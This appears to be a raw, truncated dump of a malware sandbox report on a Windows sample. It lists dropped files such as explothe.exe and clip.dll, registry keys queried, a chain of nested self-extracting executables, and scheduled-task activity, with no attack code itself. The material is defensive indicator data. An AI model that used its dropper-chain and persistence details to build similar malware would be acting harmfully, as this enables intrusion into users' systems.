"265C0DEB29181DD1891051371C5F863A_3177CE6CD1B3852A6EC841765B1A16FB" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_3177CE6CD1B3852A6EC841765B1A16FB]- [targetUID: 00000000-00004220] "E87CE99F124623F95572A696C80EFCAF_802691FEFBCBFDBC6638E7243774E081" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_802691FEFBCBFDBC6638E7243774E081]- [targetUID: 00000000-00004792] "80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53]- [targetUID: 00000000-00002764] "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A]- [targetUID: 00000000-00002764] "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776]- [targetUID: 00000000-00004160] "EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB]- [targetUID: 00000000-00004160] "35DDEDF268117918D1D277A171D8DF7B_56087230985656D9A5EBEBE1867517A7" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\35DDEDF268117918D1D277A171D8DF7B_56087230985656D9A5EBEBE1867517A7]- [targetUID: 00000000-00004160] "F8CJYCTA.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\F8CJYCTA.txt]- [targetUID: 00000000-00002764] "dXk5exdOVhk_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A]- [targetUID: 00000000-00002764] "35DDEDF268117918D1D277A171D8DF7B_56087230985656D9A5EBEBE1867517A7" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\35DDEDF268117918D1D277A171D8DF7B_56087230985656D9A5EBEBE1867517A7]- [targetUID: 00000000-00004160] "80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53]- [targetUID: 00000000-00002764] "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA]- [targetUID: 00000000-00004792] "E87CE99F124623F95572A696C80EFCAF_802691FEFBCBFDBC6638E7243774E081" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_802691FEFBCBFDBC6638E7243774E081]- [targetUID: 00000000-00004792] "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776]- [targetUID: 00000000-00004160] "F2DDCD2B5F37625B82E81F4976CEE400_249A1AAD948A044308274CC39E5A79B2" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_249A1AAD948A044308274CC39E5A79B2]- [targetUID: 00000000-00004220] "F07644E38ED7C9F37D11EEC6D4335E02_2D1FA229671185E6CE5261A2A9B06982" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_2D1FA229671185E6CE5261A2A9B06982]- [targetUID: 00000000-00004220] "265C0DEB29181DD1891051371C5F863A_3177CE6CD1B3852A6EC841765B1A16FB" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_3177CE6CD1B3852A6EC841765B1A16FB]- [targetUID: 00000000-00004220] "EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB]- [targetUID: 00000000-00004160] "CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA]- [targetUID: 00000000-00004792] "8MRF85F6.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\8MRF85F6.txt]- [targetUID: 00000000-00004160] "css_2_.css" has type "ASCII text"- [targetUID: N/A] "Z79MB54O.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\Z79MB54O.txt]- [targetUID: 00000000-00004220] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00004160] "css_1_.css" has type "ASCII text"- [targetUID: N/A] "UD150W7F.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\UD150W7F.txt]- [targetUID: 00000000-00004160] "PT7VSY8F.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\PT7VSY8F.txt]- [targetUID: 00000000-00004160] "E21EHEI1.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\E21EHEI1.txt]- [targetUID: 00000000-00004792] "8A7891822FCFF127E4EADADE9757112B" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\8A7891822FCFF127E4EADADE9757112B]- [targetUID: 00000000-00002764] "6DB145CFEEC544B1582FED1ADA3370DD" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\6DB145CFEEC544B1582FED1ADA3370DD]- [targetUID: 00000000-00004160] "69C6F6EC64E114822DF688DC12CDD86C" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\69C6F6EC64E114822DF688DC12CDD86C]- [targetUID: 00000000-00004160] "BEC6224B02D155A396218A2504F3EE0B" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\BEC6224B02D155A396218A2504F3EE0B]- [targetUID: 00000000-00004160] "739F2FF4259CDC6CBE7B90F1A95601EF" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\739F2FF4259CDC6CBE7B90F1A95601EF]- [targetUID: 00000000-00004160] "IN2B5N4I.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\IN2B5N4I.txt]- [targetUID: 00000000-00004220] "E2APBYAU.htm" has type "gzip compressed data original size modulo 2^32 338"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP\E2APBYAU.htm]- [targetUID: 00000000-00004220] "S8L48TIS.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\S8L48TIS.txt]- [targetUID: 00000000-00004220] "UP69AF2G.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\UP69AF2G.txt]- [targetUID: 00000000-00004220] "NO0D5FRD.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\NO0D5FRD.txt]- [targetUID: 00000000-00004160] "V4VSN4OT.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\V4VSN4OT.txt]- [targetUID: 00000000-00004160] "4748633DC5731827D4B432DBAC7A3ECE" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\4748633DC5731827D4B432DBAC7A3ECE]- [targetUID: 00000000-00004792] "EP6MPBDR.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\EP6MPBDR.txt]- [targetUID: 00000000-00004792] "3TGJC7SI.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\3TGJC7SI.txt]- [targetUID: 00000000-00002764] "XWZNMZL8.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\XWZNMZL8.txt]- [targetUID: 00000000-00004220] "RBWH7FXB.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\RBWH7FXB.txt]- [targetUID: 00000000-00004220] "3Y696BL0.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\3Y696BL0.txt]- [targetUID: 00000000-00004220] "IE62MHB3.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\IE62MHB3.txt]- [targetUID: 00000000-00004220] "77MG305H.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\77MG305H.txt]- [targetUID: 00000000-00004220] "M56SIDHG.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\M56SIDHG.txt]- [targetUID: 00000000-00004220] "TDAZ14AD.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\TDAZ14AD.txt]- [targetUID: 00000000-00002764] "SY4RNSMK.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\SY4RNSMK.txt]- [targetUID: 00000000-00004220] "6PAB6ZIM.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\6PAB6ZIM.txt]- [targetUID: 00000000-00004220] "GDM0MPXC.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\GDM0MPXC.txt]- [targetUID: 00000000-00002764] "O7nelmd9XSI_1_.png" has type "PNG image data 1 x 1 1-bit colormap non-interlaced"- [targetUID: N/A] "5WK5IQLH.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\5WK5IQLH.txt]- [targetUID: 00000000-00002764] "NN6NGMCI.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\NN6NGMCI.txt]- [targetUID: 00000000-00004160] "ICTZAV3E.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\ICTZAV3E.txt]- [targetUID: 00000000-00004160] "bscframe_1_.htm" has type "HTML document ASCII text with no line terminators"- [targetUID: N/A] "explothe.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\fefffe8cea\explothe.exe]- [targetUID: 00000000-00005448] "clip.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%APPDATA%\006700e5a2ab05\clip.dll]- [targetUID: 00000000-00005604] "urlblockindex_1_.bin" has type "data"- [targetUID: N/A] "BEC6224B02D155A396218A2504F3EE0B" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\BEC6224B02D155A396218A2504F3EE0B]- [targetUID: 00000000-00004160] "6DB145CFEEC544B1582FED1ADA3370DD" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\6DB145CFEEC544B1582FED1ADA3370DD]- [targetUID: 00000000-00004160] "EV9YRIB0.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\EV9YRIB0.txt]- [targetUID: 00000000-00002764]50:T974,"922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE\ASSEMBLYSTORAGEROOTS"; Key: ""; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: ""; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "OPEN"; Path: "HKLM"; Key: ""; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\DIAGNOSTICS"; Key: ""; Value: "")51:T681,"schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "")52:Te12,"922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "COMPATDLL"; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "00060101.00060101"; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "922D837E2362B26F6F5959EB3DEE8AC0"; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\WINDOWS ERROR REPORTING\WMR"; Key: "DISABLE"; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP"; Key: "SOURCEPATH"; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: "DEVICEPATH"; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US"; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US"; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\DATACOLLECTION"; Key: "COMMERCIALDATAOPTIN"; Value: "") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "PENDINGFILERENAMEOPERATIONS"; Value: "")53:T52d,"922d837e2362b26f6f5959eb3dee8ac0.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp000.tmp\ot6dd58.exe" "922d837e2362b26f6f5959eb3dee8ac0.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp000.tmp\6xa0cz3.exe" "OT6Dd58.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp001.tmp\pt9kk68.exe" "OT6Dd58.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp001.tmp\5ll6yv5.exe" "pt9KK68.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp002.tmp\vd6yw65.exe" "pt9KK68.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp002.tmp\4na449fr.exe" "Vd6Yw65.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp003.tmp\vq1qt36.exe" "Vd6Yw65.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp003.tmp\3hf64pr.exe" "vQ1qt36.exe" reads file "c:\windows\fonts\staticcache.dat" "3Hf64Pr.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\applaunch.exe" "4na449fr.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\applaunch.exe" "AppLaunch.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\applaunch.exe.config" "AppLaunch.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\config\machine.config" "AppLaunch.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll.aux"54:T95a,"922d837e2362b26f6f5959eb3dee8ac0.exe" trying to touch file "C:\Windows\SYSTEM32\sechost.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to touch file "C:\922d837e2362b26f6f5959eb3dee8ac0.exe.Local\" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d\COMCTL32.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to touch file "C:\Cabinet.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to touch file "C:\Windows\system32\Cabinet.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to touch file "C:\VERSION.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to touch file "C:\Windows\system32\VERSION.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to touch file "C:\Windows\system32\apphelp.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to touch file "C:\Windows\AppPatch\sysmain.sdb" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to touch file "C:\Windows\AppPatch\AcLayers.DLL" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to touch file "C:\SspiCli.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to touch file "C:\Windows\system32\SspiCli.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to touch file "C:\WINSPOOL.DRV" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to touch file "C:\Windows\system32\WINSPOOL.DRV" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to touch file "C:\MPR.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to touch file "C:\Windows\system32\MPR.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to touch file "C:\Windows\AppPatch\AcGenral.DLL" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to touch file "C:\UxTheme.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to touch file "C:\Windows\system32\UxTheme.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to touch file "C:\WINMM.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to touch file "C:\Windows\system32\WINMM.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to touch file "C:\samcli.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to touch file "C:\Windows\system32\samcli.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to touch file "C:\MSACM32.dll"55:T88f,"922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "C:\Cabinet.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "C:\VERSION.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "C:\SspiCli.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "C:\MPR.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "C:\UxTheme.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "C:\WINMM.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "C:\samcli.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "C:\MSACM32.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "C:\sfc.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "C:\sfc_os.DLL" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "C:\dwmapi.dll" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "C:\FLTLIB.DLL" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\OT6Dd58.exe" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\6XA0cz3.exe" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "\Device\HarddiskVolume2\CABINET.DLL" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "\Device\HarddiskVolume2\VERSION.DLL" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "\Device\HarddiskVolume2\SSPICLI.DLL" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "\Device\HarddiskVolume2\MPR.DLL" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent 